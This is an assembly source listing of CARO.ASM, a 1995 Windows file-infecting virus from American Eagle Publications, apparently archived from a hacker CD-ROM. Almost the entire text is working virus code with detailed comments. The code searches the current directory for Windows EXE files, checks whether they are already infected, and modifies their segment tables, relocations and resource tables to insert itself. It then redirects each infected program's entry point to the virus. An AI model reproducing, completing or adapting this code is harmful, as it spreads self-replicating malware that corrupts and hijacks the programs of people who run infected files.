home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz Kr0nlcKLeZ 1 / HaCKeRz Kr0nlcKLeZ.iso / chibacity / gbbdisk.arj / CAROMAG / CARO.ASM next >
Encoding:
Assembly Source File  |  1995-10-12  |  36.4 KB  |  911 lines

  1. ;CARO.ASM: A Windows virus. Launched as a Windows EXE file. This demonstrates
  2. ;the use of DPMI and the Windows API in a virus.
  3.  
  4. ;(C) 1995 American Eagle Publications, Inc. All rights reserved.
  5.  
  6.         .386
  7.  
  8. ;Useful constants
  9. DATABUF_SIZE    EQU     4096                            ;size of read/write buf
  10. NEW_HDR_SIZE    EQU     40H                             ;size of new EXE header
  11. VIRUS_SIZE      EQU     OFFSET END_VIRUS - OFFSET VIRUS ;size of virus
  12.  
  13.         EXTRN   PostQuitMessage:FAR
  14.         EXTRN   _lopen:FAR, _lread:FAR, _lwrite:FAR, _llseek:FAR, _lclose:FAR
  15.  
  16. DGROUP  GROUP   _DATA,_STACK
  17.  
  18. CODE    SEGMENT PARA USE16 'CODE'
  19.         ASSUME  CS:CODE, DS:_DATA
  20.  
  21.         PUBLIC  VIRUS
  22.  
  23. ;******************************************************************************
  24. ;This is the main virus routine. It simply finds a file to infect and infects
  25. ;it, and then passes control to the host program. It resides in the first
  26. ;segment of the host program, that is, the segment where control is initially
  27. ;passed.
  28.  
  29. VIRUS   PROC    FAR
  30.         pushf
  31.         push    ax                      ;save all registers
  32.         push    bx
  33.         push    cx
  34.         push    dx
  35.         push    si
  36.         push    di
  37.         push    bp
  38.         push    ds
  39.         push    es
  40.         call    CREATE_DS               ;create the data segment
  41.         call    VIR_START               ;find starting offset of virus
  42. VIR_START:
  43.         pop     si
  44.         sub     si,OFFSET VIR_START
  45.         mov     [VSTART],si
  46.         call    INIT_DS
  47.         call    FIND_FILE               ;find a viable file to infect
  48.         jnz     SHORT GOTO_HOST         ;z set if a file was found
  49.         call    INFECT_FILE             ;infect it if found
  50. GOTO_HOST:
  51.         call    DESTROY_DS              ;clean up memory
  52.         pop     es
  53.         pop     ds
  54.         pop     bp
  55.         pop     di
  56.         pop     si
  57.         pop     dx
  58.         pop     cx
  59.         pop     bx
  60.         pop     ax
  61.         popf
  62. VIRUS_DONE:
  63.         jmp     HOST                    ;pass control to host program
  64.  
  65. VIRUS   ENDP
  66.  
  67.         db '(C) 1995 American Eagle Publications Inc., All rights reserved.'
  68.  
  69. ;This routine creates a data segment for the virus. To do that, it
  70. ;(1) allocates memory for the virus (2) creates a data segment for that memory
  71. ;(3) sets up ds and es with this new selector, and (4) saves the handle for
  72. ;the memory so it can be freed when done.
  73. CREATE_DS:
  74.         mov     ax,501H                 ;first allocate a block of memory
  75.         xor     bx,bx
  76.         mov     cx,OFFSET DATAEND - OFFSET DATASTART
  77.         int     31H                     ;using DPMI
  78.         push    si                      ;put handle on stack
  79.         push    di
  80.         push    bx                      ;put linear address on stack
  81.         push    cx
  82.  
  83.         mov     ax,0                    ;now allocate a descriptor for the block
  84.         mov     cx,1
  85.         int     31H
  86.  
  87.         mov     bx,ax                   ;set segment base address
  88.         mov     ax,7
  89.         pop     dx
  90.         pop     cx
  91.         int     31H
  92.  
  93.         mov     ax,8                    ;set segment limit
  94.         mov     dx,OFFSET DATAEND - OFFSET DATASTART
  95.         xor     cx,cx
  96.         int     31H
  97.  
  98.         mov     ax,9                    ;now set access rights
  99.         mov     cx,0000000011110010B    ;read/write data segment
  100.         int     31H
  101.  
  102.         mov     ds,bx                   ;and set up selectors
  103.         mov     es,bx
  104.  
  105.         pop     di
  106.         pop     si
  107.  
  108.         mov     WORD PTR [MEM_HANDLE],si        ;save handle here
  109.         mov     WORD PTR [MEM_HANDLE+2],di
  110.         ret
  111.  
  112. CFILE_ID1       DB      '*.EXE',0
  113. CFILE_ID2       DB      '*.DLL',0
  114. CKNAME          DB      'KERNEL'
  115.  
  116. ;Initialize data in data segment.
  117. INIT_DS:
  118.         mov     si,OFFSET CFILE_ID1             ;move constant strings to ds
  119.         add     si,[VSTART]
  120.         mov     di,OFFSET FILE_ID1
  121.         mov     cx,OFFSET INIT_DS - OFFSET CFILE_ID1
  122. CDL:    mov     al,cs:[si]
  123.         inc     si
  124.         stosb
  125.         loop    CDL
  126.  
  127.         ret                                     ;all done
  128.  
  129. ;This routine frees the memory allocated by CREATE_DS.
  130. DESTROY_DS:
  131.         mov     si,WORD PTR [MEM_HANDLE]        ;get handle
  132.         mov     di,WORD PTR [MEM_HANDLE+2]
  133.         mov     ax,502H                         ;free memory block
  134.         int     31H                             ;using DPMI
  135.         ret
  136.  
  137. ;******************************************************************************
  138. ;This routine searches for a file to infect. It looks for EXE files and then
  139. ;checks them to see if they're uninfected, infectable Windows files. If a file
  140. ;is found, this routine returns with Z set, with the file left open, and its
  141. ;handle in the bx register. This FIND_FILE searches only the current directory.
  142.  
  143. FIND_FILE:
  144.         mov     dx,OFFSET FILE_ID1
  145.         xor     cx,cx                   ;file attribute
  146.         mov     ah,4EH                  ;search first
  147.         int     21H
  148. FIND_LOOP:
  149.         or      al,al                   ;see if search successful
  150.         jnz     SHORT FIND_EXIT         ;nope, exit with NZ set
  151.         call    FILE_OK                 ;see if it is infectable
  152.         jz      SHORT FIND_EXIT         ;yes, get out with Z set
  153.         mov     ah,4FH                  ;no, search for next file
  154.         int     21H
  155.         jmp     FIND_LOOP
  156. FIND_EXIT:                              ;pass control back to main routine
  157.         ret
  158.  
  159. ;This routine determines whether a file is ok to infect. The conditions for an
  160. ;OK file are as follows:
  161. ;
  162. ;       (1) It must be a Windows EXE file.
  163. ;       (2) There must be enough room in the initial code segment for it.
  164. ;       (3) The file must not be infected already.
  165. ;
  166. ;If the file is OK, this routine returns with Z set, the file open, and the
  167. ;handle in bx. If the file is not OK, this routine returns with NZ set, and
  168. ;it closes the file. This routine also sets up a number of important variables
  169. ;as it snoops through the file. These are used by the infect routine later.
  170. FILE_OK:
  171.         mov     ah,2FH
  172.         int     21H                     ;get current DTA address in es:bx
  173.         push    es
  174.         push    ds
  175.         pop     es
  176.         pop     ds                      ;exchange ds and es
  177.         mov     si,bx                   ;put address in ds:dx
  178.         add     si,30                   ;set ds:dx to point to file name
  179.         mov     di,OFFSET FILE_NAME
  180.         mov     cx,13
  181.         rep     movsb                   ;put file name in data segment
  182.         push    es                      ;restore ds now
  183.         pop     ds
  184.         mov     dx,OFFSET FILE_NAME
  185.         call    FILE_OPEN               ;open the file
  186.         or      ax,ax
  187.         jnz     SHORT FOK1
  188.         jmp     FOK_ERROR2              ;yes, exit now
  189. FOK1:   mov     bx,ax                   ;open ok, put handle in bx
  190.         mov     dx,OFFSET NEW_HDR       ;ds:dx points to header buffer
  191.         mov     cx,40H                  ;read 40H bytes
  192.         call    FILE_READ               ;ok, read EXE header
  193.         cmp     WORD PTR [NEW_HDR],5A4DH;see if first 2 bytes are 'MZ'
  194.         jnz     SHORT FN1               ;nope, file not an EXE, exit
  195.         cmp     WORD PTR [NEW_HDR+18H],40H    ;see if rel tbl at 40H or more
  196.         jc      SHORT FN1               ;nope, it can't be a Windows EXE
  197.         mov     dx,WORD PTR [NEW_HDR+3CH]     ;ok, put offset to new header in dx
  198.         mov     [NH_OFFSET],dx          ;and save it here
  199.         xor     cx,cx
  200.         call    FILE_SEEK_ST            ;now do a seek from start
  201.         mov     cx,NEW_HDR_SIZE         ;now read the new header
  202.         mov     dx,OFFSET NEW_HDR
  203.         call    FILE_READ
  204.         cmp     WORD PTR [NEW_HDR],454EH      ;see if this is 'NE' new header ID
  205.         jnz     SHORT FN1               ;nope, not a Windows EXE!
  206.         mov     al,[NEW_HDR+36H]        ;get target OS flags
  207.         and     al,2                    ;see if target OS = windows
  208.         jnz     SHORT FOK2              ;ok, go on
  209. FN1:    jmp     FOK_ERROR1              ;else exit
  210.  
  211. ;If we get here, then condition (1) is fulfilled.
  212.  
  213. FOK2:   mov     dx,WORD PTR [NEW_HDR+16H]     ;get initial cs
  214.         call    GET_SEG_ENTRY           ;and read seg table entry into disk buf
  215.         mov     ax,WORD PTR [TEMP+2]    ;put segment length in ax
  216.         add     ax,VIRUS_SIZE           ;add size of virus to it
  217.         jc      SHORT FOK_ERROR1        ;if we carry, there's not enough room
  218.                                         ;else we're clear on this count
  219.  
  220. ;If we get here, then condition (2) is fulfilled.
  221.  
  222.         mov     cx,WORD PTR [NEW_HDR+32H]     ;logical sector alignment
  223.         mov     ax,1
  224.         shl     ax,cl                   ;ax=logical sector size
  225.         mov     cx,WORD PTR [TEMP]      ;get logical-sector offset of start seg
  226.         mul     cx                      ;byte offset in dx:ax
  227.         add     ax,WORD PTR [NEW_HDR+14H]     ;add in ip of entry point
  228.         adc     dx,0
  229.         mov     cx,dx
  230.         mov     dx,ax                   ;put entry point in cx:dx
  231.         call    FILE_SEEK_ST            ;and seek from start of file
  232.         mov     cx,20H                  ;read 32 bytes
  233.         mov     dx,OFFSET TEMP          ;into buffer
  234.         call    FILE_READ
  235.         mov     si,[VSTART]
  236.         mov     di,OFFSET TEMP
  237.         mov     cx,10H                  ;compare 32 bytes
  238. FOK3:   mov     ax,cs:[si]
  239.         add     si,2
  240.         cmp     ax,ds:[di]
  241.         jne     SHORT FOK4
  242.         add     di,2
  243.         loop    FOK3
  244. FOK_ERROR1:
  245.         call    FILE_CLOSE
  246. FOK_ERROR2:
  247.         mov     al,1
  248.         or      al,al                   ;set NZ
  249.         ret                             ;and return to caller
  250.  
  251. ;If we get here, then condition (3) is fulfilled, all systems go!
  252.  
  253. FOK4:   xor     al,al                   ;set Z flag
  254.         ret                             ;and exit
  255.  
  256.  
  257. ;******************************************************************************
  258. ;This routine modifies the file we found to put the virus in it. There are a
  259. ;number of steps in the infection process, as follows:
  260. ;    1) We have to modify the segment table. For the initial segment, this
  261. ;       involves (a) increasing the segment size by the size of the virus,
  262. ;       and (b) increase the minimum allocation size of the segment, if it
  263. ;       needs it. Every segment AFTER this initial segment must also be
  264. ;       adjusted by adding the size increase, in sectors, of the virus
  265. ;       to it.
  266. ;    2) We have to change the starting ip in the new header. The virus is
  267. ;       placed after the host code in this segment, so the new ip will be
  268. ;       the old segment size.
  269. ;    3) We have to move all sectors in the file after the initial code segment
  270. ;       out by VIRSECS, the size of the virus in sectors.
  271. ;    4) We have to move the relocatables, if any, at the end of the code
  272. ;       segment we are infecting, to make room for the virus code. Then we
  273. ;       must add the viral relocatables to the relocatable table.
  274. ;    5) We must move the virus code into the code segment we are infecting.
  275. ;    6) We must adjust the jump in the virus to go to the original entry point.
  276. ;    7) We must adjust the resource offsets in the resource table to reflect
  277. ;       their new locations.
  278. ;    8) We have to kill the fast-load area.
  279. ;
  280. INFECT_FILE:
  281.         mov     dx,WORD PTR [NEW_HDR+24H]     ;get resource table @
  282.         add     dx,ds:[NH_OFFSET]
  283.         xor     cx,cx
  284.         call    FILE_SEEK_ST
  285.         mov     dx,OFFSET LOG_SEC
  286.         mov     cx,2
  287.         call    FILE_READ
  288.         mov     cx,[LOG_SEC]
  289.         mov     ax,1
  290.         shl     ax,cl
  291.         mov     [LOG_SEC],ax            ;put logical sector size here
  292.  
  293.         mov     ax,WORD PTR [NEW_HDR+14H]     ;save old entry point
  294.         mov     [ENTRYPT],ax            ;for future use
  295.  
  296.         mov     dx,WORD PTR [NEW_HDR+16H]     ;read seg table entry
  297.         call    GET_SEG_ENTRY           ;for initial cs
  298.  
  299.         mov     ax,WORD PTR [TEMP]      ;get location of this seg in file
  300.         mov     [INITSEC],ax            ;save that here
  301.         mov     ax,WORD PTR [TEMP+2]    ;get segment size
  302.         mov     WORD PTR [NEW_HDR+14H],ax     ;update entry ip in new header in ram
  303.         call    SET_RELOCS              ;set up RELOCS and CS_SIZE
  304.  
  305.         mov     si,[VSTART]
  306.         mov     ax,cs:[si+ARELOCS]      ;now calculate added size of segment
  307.         shl     ax,3                    ;multiply ARELOCS by 8
  308.         add     ax,VIRUS_SIZE
  309.         add     ax,[CS_SIZE]            ;ax=total new size
  310.         xor     dx,dx
  311.         mov     cx,[LOG_SEC]
  312.         div     cx                      ;ax=full sectors in cs with virus
  313.         or      dx,dx                   ;any remainder?
  314.         jz      SHORT INF05
  315.         inc     ax                      ;adjust for partially full sector
  316. INF05:  push    ax
  317.         mov     ax,[CS_SIZE]            ;size without virus
  318.         xor     dx,dx
  319.         div     cx
  320.         or      dx,dx
  321.         jz      SHORT INF07
  322.         inc     ax
  323. INF07:  pop     cx
  324.         sub     cx,ax                   ;cx=number of secs needed for virus
  325.         mov     [VIRSECS],cx            ;save this here
  326.  
  327.         call    UPDATE_SEG_TBL          ;perform mods in (1) above on file
  328.  
  329.         mov     dx,[NH_OFFSET]
  330.         xor     cx,cx
  331.         call    FILE_SEEK_ST            ;now move file pointer to new header
  332.  
  333.         mov     di,OFFSET NEW_HDR + 37H ;zero out fast load area
  334.         xor     ax,ax
  335.         stosb
  336.         stosw
  337.         stosw                           ;(8) completed
  338.         mov     dx,OFFSET NEW_HDR
  339.         mov     cx,NEW_HDR_SIZE         ;update new header in file
  340.         call    FILE_WRITE              ;mods in (2) above now complete
  341.  
  342.         call    MOVE_END_OUT            ;move end of virus out by VIRSECS (3)
  343.                                         ;also sets up RELOCS count
  344.         call    SETUP_KERNEL            ;put KERNEL module into virus relocs
  345.         call    RELOCATE_RELOCS         ;relocate relocatables in cs (4)
  346. INF1:   call    WRITE_VIRUS_CODE        ;put virus into cs (5 & 6)
  347.         call    UPDATE_RES_TABLE        ;update resource table entries
  348.         call    FILE_CLOSE              ;close file now
  349. INF2:   ret
  350.  
  351. ;The following procedure updates the Segment Table entries per item (1) in
  352. ;INFECT_FILE.
  353. UPDATE_SEG_TBL:
  354.         mov     dx,WORD PTR [NEW_HDR+16H]    ;read seg table entry
  355.         call    GET_SEG_ENTRY           ;for initial cs
  356.         mov     ax,WORD PTR [TEMP+2]    ;get seg size
  357.         add     ax,VIRUS_SIZE           ;add the size of the virus to seg size
  358.         mov     WORD PTR [TEMP+2],ax    ;and update size in seg table
  359.  
  360.         mov     ax,WORD PTR [TEMP+6]         ;get min allocation size of segment
  361.         or      ax,ax                   ;is it 64K?
  362.         jz      SHORT US2               ;yes, leave it alone
  363. US1:    add     ax,VIRUS_SIZE           ;add virus size on
  364.         jnc     SHORT US2               ;no overflow, go and update
  365.         xor     ax,ax                   ;else set size = 64K
  366. US2:    mov     WORD PTR [TEMP+6],ax    ;update size in table in ram
  367.  
  368.         mov     al,1
  369.         mov     cx,0FFFFH
  370.         mov     dx,-8
  371.         call    FILE_SEEK               ;back up to location of seg table entry
  372.  
  373.         mov     dx,OFFSET TEMP          ;and write modified seg table entry
  374.         mov     cx,8                    ;for initial cs to segment table
  375.         call    FILE_WRITE              ;ok, init cs seg table entry is modified
  376.  
  377.         mov     di,WORD PTR [NEW_HDR+1CH]     ;get number of segment table entries
  378.  
  379. US3:    push    di                      ;save table entry counter
  380.         mov     dx,di                   ;dx=seg table entry # to read
  381.         call    GET_SEG_ENTRY           ;read it into disk buffer
  382.  
  383.         mov     ax,WORD PTR [TEMP]      ;get offset of this segment in file
  384.         cmp     ax,[INITSEC]            ;higher than initial code segment?
  385.         jle     SHORT US4               ;nope, don't adjust
  386.         add     ax,[VIRSECS]            ;yes, add the size of virus in
  387. US4:    mov     WORD PTR [TEMP],ax      ;adjust segment loc in memory
  388.  
  389.         mov     al,1
  390.         mov     cx,0FFFFH
  391.         mov     dx,-8
  392.         call    FILE_SEEK               ;back up to location of seg table entry
  393.  
  394.         mov     dx,OFFSET TEMP
  395.         mov     cx,8
  396.         call    FILE_WRITE              ;and write modified seg table entry
  397.         pop     di                      ;restore table entry counter
  398.         dec     di
  399.         jnz     US3                     ;and loop until all segments done
  400.  
  401.         ret                             ;all done
  402.  
  403. ;This routine goes to the segment table entry number specified in dx in the
  404. ;file and reads it into the TEMP buffer. dx=1 is the first entry!
  405. GET_SEG_ENTRY:
  406.         dec     dx
  407.         mov     cl,3
  408.         shl     dx,cl
  409.         add     dx,[NH_OFFSET]
  410.         add     dx,WORD PTR [NEW_HDR+22H]     ;dx=ofs of seg table entry requested
  411.         xor     cx,cx                   ;in the file
  412.         call    FILE_SEEK_ST            ;go to specified table entry
  413.         jc      SHORT GSE1              ;exit on error
  414.  
  415.         mov     dx,OFFSET TEMP
  416.         mov     cx,8
  417.         call    FILE_READ               ;read table entry into disk buf
  418. GSE1:   ret
  419.  
  420. ;This routine moves the end of the virus out by VIRSECS. The "end" is
  421. ;everything after the initial code segment where the virus will live.
  422. ;The variable VIRSECS is assumed to be properly set up before this is called.
  423. MOVE_END_OUT:
  424.         mov     ax,[CS_SIZE]            ;size of cs in bytes, before infect
  425.         mov     cx,[LOG_SEC]
  426.         xor     dx,dx
  427.         div     cx
  428.         or      dx,dx
  429.         jz      SHORT ME01
  430.         inc     ax
  431. ME01:   add     ax,[INITSEC]            ;ax=next sector after cs
  432.         push    ax                      ;save it
  433.  
  434.         xor     dx,dx
  435.         xor     cx,cx
  436.         mov     al,2                    ;seek end of file
  437.         call    FILE_SEEK               ;returns dx:ax = file size
  438.         mov     cx,[LOG_SEC]
  439.         div     cx                      ;ax=sectors in file
  440.         or      dx,dx
  441.         jz      ME015                   ;adjust for extra bytes
  442.         inc     ax
  443. ME015:  mov     dx,ax                   ;keep it here
  444.         pop     di                      ;di=lowest sector to move
  445.         sub     dx,di                   ;dx=number of sectors to move
  446.  
  447. MEO2:   push    dx
  448.         push    di
  449.         call    MOVE_SECTORS            ;move as much as data buffer allows
  450.         pop     di                      ;number moved returned in ax
  451.         pop     dx
  452.         sub     dx,ax
  453.         or      dx,dx
  454.         jnz     MEO2
  455.         ret
  456.  
  457.  
  458. ;This routine moves as many sectors as buffer will permit, up to the number
  459. ;requested. On entry, dx=maximum number of sectors to move, and di=lowest
  460. ;sector number to move. This routine works from the end of the file, so if
  461. ;X is the number of sectors to be moved, it will move all the sectors from
  462. ;di+dx-X to di+dx-1. All sectors are move out by [VIRSECS].
  463. MOVE_SECTORS:
  464.         push    dx                      ;first determine # of secs to move
  465.         mov     ax,DATABUF_SIZE
  466.         mov     cx,[LOG_SEC]
  467.         xor     dx,dx
  468.         div     cx                      ;ax=data buf size in logical sectors
  469.         pop     dx
  470.         cmp     ax,dx                   ;is ax>dx? (max sectors to move)
  471.         jle     SHORT MS1
  472.         mov     ax,dx                   ;ax=# secs to move now
  473. MS1:    push    ax                      ;save it till end
  474.         add     di,dx
  475.         sub     di,ax                   ;di=1st sector to move
  476.  
  477.         mov     cx,[LOG_SEC]
  478.         mul     cx                      ;ax=bytes to move this time
  479.         push    ax                      ;save it on stack
  480.  
  481.         mov     ax,di
  482.         mov     cx,[LOG_SEC]
  483.         mul     cx
  484.         mov     cx,dx
  485.         mov     dx,ax
  486.         call    FILE_SEEK_ST            ;seek starting sector to move
  487.  
  488.         pop     cx                      ;cx=bytes to read
  489.         push    cx
  490.         mov     dx,OFFSET TEMP
  491.         call    FILE_READ               ;and read it
  492.  
  493.         mov     ax,di
  494.         add     ax,[VIRSECS]            ;ax=location to move to, in secs
  495.         mov     cx,[LOG_SEC]
  496.         mul     cx                      ;dx:ax=loc to move to, in bytes
  497.         mov     cx,dx                   ;set up seek function
  498.         mov     dx,ax
  499.         call    FILE_SEEK_ST            ;and move there
  500.  
  501.         pop     cx                      ;bytes to write
  502.         mov     dx,OFFSET TEMP
  503.         call    FILE_WRITE              ;and write proper number of bytes there
  504.  
  505.         pop     ax                      ;report sectors moved this time
  506.         ret
  507.  
  508. ;This routine sets the variable RELOCS and CS_SIZE variables in memory from the
  509. ;uninfected file. Then it updates the relocs counter in the file to add the
  510. ;number of relocatables required by the virus.
  511. SET_RELOCS:
  512.         mov     WORD PTR [RELOCS],0
  513.         mov     dx,WORD PTR [NEW_HDR+16H]     ;read init cs seg table entry
  514.         call    GET_SEG_ENTRY
  515.         mov     ax,WORD PTR [TEMP+4]    ;get segment flags
  516.         xor     dx,dx
  517.         and     ah,1                    ;check for relocation data
  518.         mov     ax,WORD PTR [NEW_HDR+14H]     ;size of segment is this
  519.         jz      SHORT SRE               ;no data, continue
  520.         push    ax
  521.         push    ax                      ;there is relocation data, how much?
  522.         mov     ax,[INITSEC]            ;find end of code in file
  523.         mov     cx,[LOG_SEC]
  524.         mul     cx                      ;dx:ax = start of cs in file
  525.         pop     cx                      ;cx = size of code
  526.         add     ax,cx
  527.         adc     dx,0
  528.         mov     cx,dx
  529.         mov     dx,ax                   ;cx:dx = end of cs in file
  530.         push    cx
  531.         push    dx
  532.         call    FILE_SEEK_ST            ;so go seek it
  533.         mov     dx,OFFSET RELOCS
  534.         mov     cx,2
  535.         call    FILE_READ               ;read 2 byte count of relocatables
  536.         pop     dx
  537.         pop     cx
  538.         call    FILE_SEEK_ST            ;go back to that location
  539.         mov     ax,[RELOCS]
  540.         push    ax
  541.         mov     si,[VSTART]
  542.         add     ax,cs:[si+ARELOCS]
  543.         mov     [RELOCS],ax
  544.         mov     cx,2
  545.         mov     dx,OFFSET RELOCS        ;and update relocs in the file
  546.         call    FILE_WRITE              ;adding arelocs to it
  547.         pop     [RELOCS]
  548.         mov     ax,[RELOCS]
  549.         shl     ax,3
  550.         add     ax,2                    ;size of relocation data
  551.         pop     cx                      ;size of code in segment
  552.         xor     dx,dx
  553.         add     ax,cx                   ;total size of segment
  554.         adc     dx,0
  555. SRE:    mov     [CS_SIZE],ax            ;save it here
  556.         ret
  557.  
  558. ;This routine relocates the relocatables at the end of the initial code
  559. ;segment to make room for the virus. It will move any number of relocation
  560. ;records, each of which is 8 bytes long. It also adds the new relocatables
  561. ;for the virus to the file.
  562. RELOCATE_RELOCS:
  563.         mov     ax,[RELOCS]             ;number of relocatables
  564.         mov     cl,3
  565.         shl     ax,cl
  566.         add     ax,2                    ;ax=total number of bytes to move
  567.         push    ax
  568.  
  569.         mov     ax,[INITSEC]
  570.         mov     cx,[LOG_SEC]
  571.         mul     cx                      ;dx:ax = start of cs in file
  572.         add     ax,WORD PTR [NEW_HDR+14H]
  573.         adc     dx,0                    ;dx:ax = end of cs in file
  574.         pop     cx                      ;cx = size of relocatables
  575.         add     ax,cx
  576.         adc     dx,0                    ;dx:ax = end of code+relocatables
  577.         xchg    ax,cx
  578.         xchg    dx,cx                   ;ax=size cx:dx=location
  579.  
  580. RR_LP:  push    cx
  581.         push    dx
  582.         push    ax
  583.         cmp     ax,DATABUF_SIZE
  584.         jle     SHORT RR1
  585.         mov     ax,DATABUF_SIZE         ;read up to DATABUF_SIZE bytes
  586. RR1:    sub     dx,ax                   ;back up file pointer
  587.         sbb     cx,0
  588.         push    cx
  589.         push    dx
  590.         push    ax
  591.         call    FILE_SEEK_ST            ;seek desired location in file
  592.         pop     cx
  593.         mov     dx,OFFSET TEMP
  594.         call    FILE_READ               ;read needed number of bytes, # in ax
  595.         pop     dx
  596.         pop     cx
  597.         push    ax                      ;save # of bytes read
  598.         add     dx,VIRUS_SIZE           ;move file pointer up now
  599.         adc     cx,0
  600.         call    FILE_SEEK_ST
  601.         pop     cx                      ;bytes to write
  602.         mov     dx,OFFSET TEMP
  603.         call    FILE_WRITE              ;write them to new location
  604.         pop     ax
  605.         pop     dx
  606.         pop     cx
  607.         cmp     ax,DATABUF_SIZE         ;less than DATABUF_SIZE bytes to write?
  608.         jle     SHORT RRE               ;yes, we're all done
  609.         sub     ax,DATABUF_SIZE         ;nope, adjust indicies
  610.         sub     dx,DATABUF_SIZE
  611.         sbb     cx,0
  612.         jmp     RR_LP                   ;and go do another
  613.  
  614. RRE:    mov     si,[VSTART]
  615.         mov     cx,cs:[si+ARELOCS]      ;now add ARELOCS relocatables to the end
  616.         push    si
  617.         mov     di,OFFSET TEMP
  618.         add     si,OFFSET ARELOCS + 2   ;si points to relocatable table
  619. RRL:    mov     ax,cs:[si]              ;move relocatables to buffer and adjust
  620.         stosw
  621.         add     si,2
  622.         mov     ax,cs:[si]
  623.         add     si,2
  624.         add     ax,WORD PTR [NEW_HDR+14H]     ;add orig code size to the offset here
  625.         stosw
  626.         mov     ax,[KERNEL]             ;put kernel module ref no next
  627.         add     si,2
  628.         stosw
  629.         mov     ax,cs:[si]
  630.         add     si,2
  631.         stosw
  632.         loop    RRL
  633.         pop     si
  634.         mov     dx,OFFSET TEMP
  635.         mov     cx,cs:[si+ARELOCS]
  636.         shl     cx,3
  637.         call    FILE_WRITE              ;and put them in the file
  638.         ret
  639.  
  640. ;This routine finds the KERNEL module in the module reference table, and puts
  641. ;it into the virus relocation records.
  642. SETUP_KERNEL:
  643.         xor     cx,cx
  644.         mov     dx,WORD PTR [NEW_HDR+28H]       ;go to start of module ref tbl
  645.         add     dx,[NH_OFFSET]
  646.         adc     cx,0
  647.         call    FILE_SEEK_ST
  648.         mov     dx,OFFSET TEMP
  649.         mov     cx,40H                          ;read up to 32 module ofs's to
  650.         call    FILE_READ                       ;the TEMP buffer
  651.         mov     si,OFFSET TEMP
  652. SK1:    lodsw                                   ;get a module offset
  653.         push    si
  654.         mov     dx,[NH_OFFSET]                  ;lookup in imported name tbl
  655.         add     dx,WORD PTR [NEW_HDR+2AH]
  656.         add     dx,ax
  657.         inc     dx
  658.         xor     cx,cx
  659.         call    FILE_SEEK_ST                    ;prep to read module name
  660.         mov     cx,40H
  661.         mov     dx,OFFSET TEMP + 40H
  662.         call    FILE_READ                       ;read it into TEMP at 40H
  663.         pop     ax
  664.         push    ax
  665.         sub     ax,OFFSET TEMP
  666.         shr     ax,1
  667.         mov     [KERNEL],ax                     ;assume this is KERNEL
  668.         cmp     ax,WORD PTR [NEW_HDR+1EH]       ;last entry?
  669.         jge     SHORT SK2                       ;yes, use it by default
  670.         mov     di,OFFSET TEMP + 40H
  671.         mov     si,OFFSET KNAME
  672.         mov     cx,6
  673.         repz    cmpsb                           ;check it
  674.         jnz     SHORT SK3                       ;wasn't it, continue
  675. SK2:    pop     si                              ;else exit with KERNEL set as is
  676.         ret
  677. SK3:    pop     si
  678.         jmp     SK1
  679.  
  680.  
  681. ;This routine writes the virus code itself into the code segment being infected.
  682. ;It also updates the jump which exits the virus so that it points to the old
  683. ;entry point in this segment.
  684. WRITE_VIRUS_CODE:
  685.         mov     ax,[INITSEC]            ;sectors to code segment
  686.         mov     cx,[LOG_SEC]
  687.         mul     cx                      ;dx:ax = location of code seg
  688.         add     ax,WORD PTR [NEW_HDR+14H]
  689.         adc     dx,0                    ;dx:ax = place to put virus
  690.         mov     cx,dx
  691.         mov     dx,ax
  692.         push    cx
  693.         push    dx                      ;save these to adjust jump
  694.         call    FILE_SEEK_ST            ;seek there
  695.  
  696.         mov     di,OFFSET TEMP          ;move virus code to data segment now
  697.         mov     cx,VIRUS_SIZE
  698.         mov     si,[VSTART]
  699. WVCL:   mov     al,cs:[si]
  700.         inc     si
  701.         stosb
  702.         loop    WVCL
  703.  
  704.         mov     si,[VSTART]             ;now set relocatable areas in code to
  705.         add     si,OFFSET ARELOCS       ;FFFF 0000
  706.         mov     cx,cs:[si]
  707.         add     si,4
  708. WVC2:   mov     di,cs:[si]
  709.         add     di,OFFSET TEMP
  710.         mov     ax,0FFFFH
  711.         stosw
  712.         inc     ax
  713.         stosw
  714.         add     si,8
  715.         loop    WVC2
  716.  
  717.         mov     cx,VIRUS_SIZE           ;cx=size of virus
  718.         mov     dx,OFFSET TEMP          ;dx=offset of start of virus
  719.         call    FILE_WRITE              ;write virus to file now
  720.  
  721.         pop     dx                      ;ok, now we have to update the jump
  722.         pop     cx                      ;to the host
  723.         mov     ax,OFFSET VIRUS_DONE - OFFSET VIRUS
  724.         inc     ax
  725.         add     dx,ax
  726.         adc     cx,0                    ;cx:dx=location to update
  727.         push    ax
  728.         call    FILE_SEEK_ST            ;go there
  729.         pop     ax
  730.         inc     ax
  731.         inc     ax
  732.         add     ax,WORD PTR [NEW_HDR+14H]     ;ax=offset of instr after jump
  733.         sub     ax,[ENTRYPT]            ;ax=distance to jump
  734.         neg     ax                      ;make it a negative number
  735.         mov     WORD PTR [TEMP],ax      ;save it here
  736.         mov     cx,2                    ;and write it to disk
  737.         mov     dx,OFFSET TEMP
  738.         call    FILE_WRITE              ;all done
  739.         ret
  740.  
  741. ;Update the resource table so sector pointers are right.
  742. UPDATE_RES_TABLE:
  743.         mov     dx,WORD PTR [NEW_HDR+24H]     ;move to resource table in EXE
  744.         add     dx,[NH_OFFSET]
  745.         add     dx,2
  746.         xor     cx,cx
  747.         call    FILE_SEEK_ST
  748. URT1:
  749.         mov     dx,OFFSET TEMP
  750.         mov     cx,8
  751.         call    FILE_READ               ;read 8 byte typeinfo record
  752.         cmp     WORD PTR [TEMP],0       ;is type ID 0?
  753.         jz      SHORT URTE              ;yes, all done
  754.  
  755.         mov     cx,WORD PTR [TEMP+2]    ;get count of nameinfo records to read
  756.  
  757. URT2:   push    cx
  758.         mov     dx,OFFSET TEMP
  759.         mov     cx,12
  760.         call    FILE_READ               ;read 1 nameinfo record
  761.  
  762.         mov     ax,WORD PTR [TEMP]      ;get offset of resource
  763.         cmp     ax,[INITSEC]            ;greater than initial cs location?
  764.         jle     SHORT URT3              ;nope, don't worry about it
  765.         add     ax,[VIRSECS]            ;add size of virus
  766.         mov     WORD PTR [TEMP],ax
  767.  
  768.         mov     dx,-12
  769.         mov     cx,0FFFFH
  770.         mov     al,1                    ;now back file pointer up
  771.         call    FILE_SEEK
  772.         mov     dx,OFFSET TEMP          ;and write updated resource rec to
  773.         mov     cx,12                   ;the file
  774.         call    FILE_WRITE
  775.  
  776. URT3:   pop     cx
  777.         dec     cx                      ;read until all nameinfo records for
  778.         jnz     URT2                    ;this typeinfo are done
  779.         jmp     URT1                    ;go get another typeinfo record
  780.  
  781. URTE:   ret
  782.  
  783. ;******************************************************************************
